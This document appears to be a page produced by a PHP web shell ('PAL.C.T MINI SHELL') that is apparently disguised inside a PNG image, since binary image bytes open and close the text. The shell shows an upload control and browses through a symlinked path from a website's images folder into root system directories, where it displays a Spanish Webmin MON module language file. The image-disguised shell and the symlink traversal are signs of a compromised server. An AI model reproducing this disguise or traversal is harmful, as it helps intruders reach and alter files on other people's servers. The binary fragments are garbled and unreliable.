php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/mon/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/mon/lang/es

index_title=Monitor de Servicio MON
index_return=ídice de MON
index_edir=El directorio de MON $1 no existe. Quizás MON no estás instalado o tu <a href='$2'>configuración del módulo</a> es incorrecta.
mon_global_title=Configuración de Variables Globales
mon_conf_title=Configuación Básica
mon_status_title=Estado Operacional
hostgroups_title=Grupos de Máquinas de Configuración de MON
services_title=Definiciones de Servicio de Grupos de Observación

head_hostgroups=Grupos de máquinas y Servicios
head_groups=Nombre de Grupo de máquinas
head_members=Miembros de Grupo de máquinas
head_services=Servicios a Observar de Grupo de máquinas
head_service=Servicio a observar
head_param=Parámetros de Servicio
head_watch=¿Observo el Grupo?
head_monauth=Suministrar autenticación para MONCMD
head_usr=Nombre de usuario
head_pass=Clave de acceso
head_mand=(Los parámetros en color rojo son obligatorios)

err_nomon=el paquete 'mon' no está instalado en tu sistema
err_nomonconf=El archivo de configuración de MON $1 no fue hallado en tu sistema. Quizás no está instalado o tu <a href='$2'>configuracion del módulo</a> es incorrecta.
err_nowatch=No se han seleccionado grupos de observación. Selecciona al menos uno para proceder.
err_noserv=No se han seleccionado servicios para el grupo de observación.
err_nomemb=No se han seleccionado Máquinas/Miembros para el grupo de observación
err_monrun=MON no se está ejecutando en la máquina anfitriona. Por favor, arranca MON.
stop_err=No pude parar MON
stop_epid=Ya no se está ejecutando
start_err=No pude arrancar MON
restart_err=No pude rearrancar MON
restart_epid=No pude obtener PID

other=Otros (separados por espacios)
next=Siguiente
mon_stat=Estado de MON
mon_off=Servicios de MON no Arrancados
mon_start=Arrancar Servicios de MON
mon_stop=Parar Servicios de MON
mon_restart=Rearrancar Servicios de MON
mon_startdesc=Haz click en este botón para arrancar el servidor MON. Hasta que no arranque no se hará ninguna monitorización configurada.
mon_stopdesc=Haz click en este botón para parar el servidor MON. Al parase, cesará la monitorización configurada.
mon_restartdesc=Haz click en este botón para aplicar la configuación actual de MON mediante el rearrancado del proceso del servidor.
line=(uno en cada línea)
save_apply=Salvar y Aplicar
watch=Grupo de Observación
members=Miembros
def_perargs=wd {Sat-Sun}

def_desc=descripción
def_inter=intervalo
def_mon=monitor
def_dep=dpend
def_per=período
def_alert=alerta
def_alertevr=alertevery
def_alertaft=alertafter
def_alertstr=startupalert
def_allow=allow_empty_group
def_traptime=traptimeout
def_trapdur=trapduration
def_rand=randskew
def_exclhost=exclude_hosts
def_exclper=exclude_period

groups_title=Grupos de Máquinas
groups_group=Nombre de Grupo
groups_members=Máquinas Miembro

watches_title=Listas de Observación
watches_group=Grupo de Observación
watches_services=Servicios que son observados
watches_sadd=Añadir servicio...
watches_add=Añadir lista de observación para grupo:
watches_return=listas de observación

global_title=Opciones Globales
global_header=Opciones globales de configuración de MON
global_maxprocs=Máximos procesos de MON
global_histlength=Tamaño de historia de eventos
global_alertdir=Directorio de programas de alerta
global_mondir=Directorio de programas de monitorización
global_authtype=Tipo de autenticación
global_authtype_=Por defecto
global_authtype_getpwnam=Llamadas al Sistema
global_authtype_userfile=Archivo de usuarios de MON
global_authtype_shadow=Archivo de sombra
global_userfile=Archivo de usuarios de MON
global_emaxprocs=El número de procesos MON falta o es inválido
global_ehistlength=El tamaño de historia de evento falta o es inválido
global_ealertdir=El directorio de programas de alerta falta o es inválido
global_emondir=El directorio de programas de monitor falta o es inválido
global_euserfile=Falta el archivo de usuarios de MON

watch_title=Editar Lista de Observación
watch_header=Detalles de observación de grupo de Máquina
watch_group=Grupo de máquinas a observar
watch_services=Servicios que son observados
watch_service=Nombre de servicio
watch_monitor=Monitor a usar
watch_interval=Revisar cada
watch_periods=Períodos de monitorización

service_title=Añadir Servicio
service_title2=Editar Servicio
service_header=Detalles de servicio observado
service_name=Nombre de servicio
service_interval=Revisar cada
service_desc=Descripción
service_units_s=segundos
service_units_m=minutos
service_units_h=horas
service_units_d=días
service_units_w=semanas
service_monitor=Usando monitor
service_mon1=Monitor estándar
service_mon0=Otro monitor...
service_args=Parámetros de monitor
service_period=Período de monitorización $1
service_days=Días a revisar
service_hours=Horas a revisar
service_all=Todas
service_pstr=Especificación de período
service_new=Período de nueva monitorización
service_alerts=Alertas para período
service_alert=Alerta
service_atype=Ejecutar cuando
service_atype_alert=Servicio se caiga
service_atype_upalert=Servicio se levante
service_atype_startupalert=MON arranque
service_aargs=Parámetros adicionales
service_every=Enviar alerta
service_every_def=Cada vez que el monitor se ejecute
service_every_time=Cada
service_num=Máximas alertas a enviar
service_unlimited=Ilimitadas
service_after=Fallos antes de alerta
service_immediate=Inmediátamente
service_after_num=Tras $1 fallos
service_aftertime=Dentro del intervalo de tiempo
service_newperiod=Añadir nuevo período
service_delperiod=Borrar este período
service_err=No pude salvar servicio
service_ename=El nombre de servicio falta o es inválido
service_einterval=El intervalo de revisión falta o es inválido
service_eother=El monitor falta o es inválido
service_ehour=Falta o es inválida la hora para período $1 (debe de ser como 9am o 5pm)
service_eperiod=No se han especificado días u horas para período $1
service_eevery=El intervalo de alerta de servicio falta o es inválido
service_eafter=El número de fallos antes de alerta falta o es inválido
service_enum=Las máximas alertas a enviar faltan o son inválidas
service_epstr=Falta la especificación del período
service_known0=cadena <tt>Time::Period</tt>
service_known1=Días y horas especificadas
service_known2=Período definido

status_title=Estado de MON
status_ecgi=El programa CGI de estado de MON $1 no existe. Quizás no está instalado o tu <a href='$2'>configuración del módulo</a> es incorrecta.
status_eperl=El programa CGI de estado de MON requiere el módulo $1 de perl. <a href='$2'>Haz click aquí</a> para instalarlo diréctamente desde CPAN.
status_esame=El programa CGI de estado MON $1 se ha configurado al script <tt>mon.cgi</tt> en este módulo Webmin, y no al programa CGI que viene con MON. Ajuste la  <a href='$2'>configuración del módulo</a> para utilizar la ruta adecuada.

users_title=Usuarios de MON
users_etype=La lista de usuarios de MON no puede ser editada debido a que MON no está configurado actuálmente para utilizarla autenticación en la página de <a href='$1'>Opciones Globales</a>.
users_header=Usuarios de MON autorizados en $1
users_nousers=No se han definido usuarios de MON en $1.
users_add=Crear un nuevo usuario.
users_return=lista de usuarios de MON

user_create=Crear Usuario de MON
user_edit=Editar Usuario de MON
user_header=Detalles de usuario de MON
user_user=Nombre de usuario
user_pass=Clave de acceso
user_leave=Dejar sin cambiar
user_err=No pude salvar usuario
user_euser=El nombre de usuario falta o es inválido
user_esame=Ya existe un usuario con el mismo nombre

auth_title=Comandos de Cliente
auth_desc=Esta página te permite controlar qué comandos de MON pueden ejecutarse por qué usuarios al utilizar los programas de cliente.
auth_cmd=Comando de MON
auth_users=Usuarios autorizados
auth_none=Nadie
auth_all=Todos
auth_sel=Sólo los usuarios
auth_err=No pude salvar comandos de cliente
auth_eusers=No se han digitado usuarios para comando $1

periods_title=Períodos Definidos
periods_period=Nombre de período
periods_times=Días y horas
periods_alldays=Todos los días
periods_allhours=Todas las horas
periods_err=No pude salvar períodos definidos
periods_ename='$1' no es un nombre válido de período
periods_ehour=Falta o es inválida la hora para período $1 (debe de ser como 9am o 5pm)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`